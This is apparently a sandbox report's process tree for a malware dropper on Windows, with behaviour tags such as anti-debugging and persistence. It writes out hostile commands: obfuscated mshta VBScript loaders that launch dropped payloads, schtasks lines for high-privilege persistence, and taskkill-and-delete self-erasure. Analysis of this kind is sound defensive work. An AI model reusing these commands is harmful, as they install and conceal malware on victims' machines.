C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 16412 -s 244⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
-
C:\Users\Admin\Documents\kYszJXOeVBdpRg8dGokzjT01.exe"C:\Users\Admin\Documents\kYszJXOeVBdpRg8dGokzjT01.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\kYszJXOeVBdpRg8dGokzjT01.exe"C:\Users\Admin\Documents\kYszJXOeVBdpRg8dGokzjT01.exe" -u3⤵
-
-
-
C:\Users\Admin\Documents\gTDqKInNowDStpSUlkZmLtL8.exe"C:\Users\Admin\Documents\gTDqKInNowDStpSUlkZmLtL8.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 3723⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 4323⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 6203⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 6803⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 7443⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 6523⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 7643⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 7643⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 8243⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 7923⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 7883⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\ejcqQk1PsRVJbfg0aQfz1mg0.exe"C:\Users\Admin\Documents\ejcqQk1PsRVJbfg0aQfz1mg0.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Documents\HytMGZjpXmtubAR93lGOhVMu.exe"C:\Users\Admin\Documents\HytMGZjpXmtubAR93lGOhVMu.exe"2⤵
- Executes dropped EXE
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"4⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7fffe00d4f50,0x7fffe00d4f60,0x7fffe00d4f704⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1532,14576837223506860457,991298674125409271,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1544 /prefetch:24⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1532,14576837223506860457,991298674125409271,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2064 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1532,14576837223506860457,991298674125409271,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1840 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1532,14576837223506860457,991298674125409271,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2588 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1532,14576837223506860457,991298674125409271,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2600 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1532,14576837223506860457,991298674125409271,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1532,14576837223506860457,991298674125409271,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3512 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1532,14576837223506860457,991298674125409271,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3592 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1532,14576837223506860457,991298674125409271,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3768 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1532,14576837223506860457,991298674125409271,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3600 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1532,14576837223506860457,991298674125409271,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=3844 /prefetch:24⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1532,14576837223506860457,991298674125409271,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5256 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1532,14576837223506860457,991298674125409271,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1348 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1532,14576837223506860457,991298674125409271,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4764 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel --force-configure-user-settings4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 3112 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\HytMGZjpXmtubAR93lGOhVMu.exe"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 31124⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 3112 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\HytMGZjpXmtubAR93lGOhVMu.exe"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 31124⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\Documents\OjyrJ5LP4Dqi6ae4jfa7I2dZ.exe"C:\Users\Admin\Documents\OjyrJ5LP4Dqi6ae4jfa7I2dZ.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Documents\5iCUu3yYdDaDVnXHUsYXdpgb.exe"C:\Users\Admin\Documents\5iCUu3yYdDaDVnXHUsYXdpgb.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\Documents\pNt7veorQxuIr5rsehb_yC6q.exe"C:\Users\Admin\Documents\pNt7veorQxuIr5rsehb_yC6q.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\Documents\951BtIb4rGt366KEeyo10Oez.exe"C:\Users\Admin\Documents\951BtIb4rGt366KEeyo10Oez.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\2197282.exe"C:\Users\Admin\AppData\Roaming\2197282.exe"3⤵
-
-
C:\Users\Admin\AppData\Roaming\4702285.exe"C:\Users\Admin\AppData\Roaming\4702285.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Roaming\2390334.exe"C:\Users\Admin\AppData\Roaming\2390334.exe"3⤵
-
-
C:\Users\Admin\AppData\Roaming\7825867.exe"C:\Users\Admin\AppData\Roaming\7825867.exe"3⤵
-
-
C:\Users\Admin\AppData\Roaming\2669891.exe"C:\Users\Admin\AppData\Roaming\2669891.exe"3⤵
-
-
-
C:\Users\Admin\Documents\L2LEDFbMRSRydYqZh5KD0VEC.exe"C:\Users\Admin\Documents\L2LEDFbMRSRydYqZh5KD0VEC.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im L2LEDFbMRSRydYqZh5KD0VEC.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\L2LEDFbMRSRydYqZh5KD0VEC.exe" & del C:\ProgramData\*.dll & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im L2LEDFbMRSRydYqZh5KD0VEC.exe /f4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\Documents\2okSuz1HHbeDzmK7a5hNtL6v.exe"C:\Users\Admin\Documents\2okSuz1HHbeDzmK7a5hNtL6v.exe"2⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\Documents\R8qTHsC1XANLh5OIzFePgXxv.exe"C:\Users\Admin\Documents\R8qTHsC1XANLh5OIzFePgXxv.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScRipT: CLOSe ( CreATEoBjECT ( "wscrIpt.SheLL" ). RUn ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\Documents\R8qTHsC1XANLh5OIzFePgXxv.exe"" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF """" == """" for %N In ( ""C:\Users\Admin\Documents\R8qTHsC1XANLh5OIzFePgXxv.exe"" ) do taskkill -F /Im ""%~nXN"" " , 0, True ) )3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\Documents\R8qTHsC1XANLh5OIzFePgXxv.exe" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF "" == "" for %N In ( "C:\Users\Admin\Documents\R8qTHsC1XANLh5OIzFePgXxv.exe" ) do taskkill -F /Im "%~nXN"4⤵
-
C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exEKRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG5⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScRipT: CLOSe ( CreATEoBjECT ( "wscrIpt.SheLL" ). RUn ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE"" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF ""-pA1IQsAATOS0kxrmeOcrgfdjncUG "" == """" for %N In ( ""C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE"" ) do taskkill -F /Im ""%~nXN"" " , 0, True ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF "-pA1IQsAATOS0kxrmeOcrgfdjncUG " == "" for %N In ( "C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE" ) do taskkill -F /Im "%~nXN"7⤵
-
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" .\p_ZPP.J p6⤵
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -F /Im "R8qTHsC1XANLh5OIzFePgXxv.exe"5⤵
- Kills process with taskkill
-
-
-
-
-
C:\Users\Admin\Documents\naAXST_ym2ERcTt8JUQyzXsG.exe"C:\Users\Admin\Documents\naAXST_ym2ERcTt8JUQyzXsG.exe"2⤵
-
C:\Program Files (x86)\Company\NewProduct\inst001.exe"C:\Program Files (x86)\Company\NewProduct\inst001.exe"3⤵
-
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"3⤵
-
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"3⤵
-
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe"C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe"2⤵
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
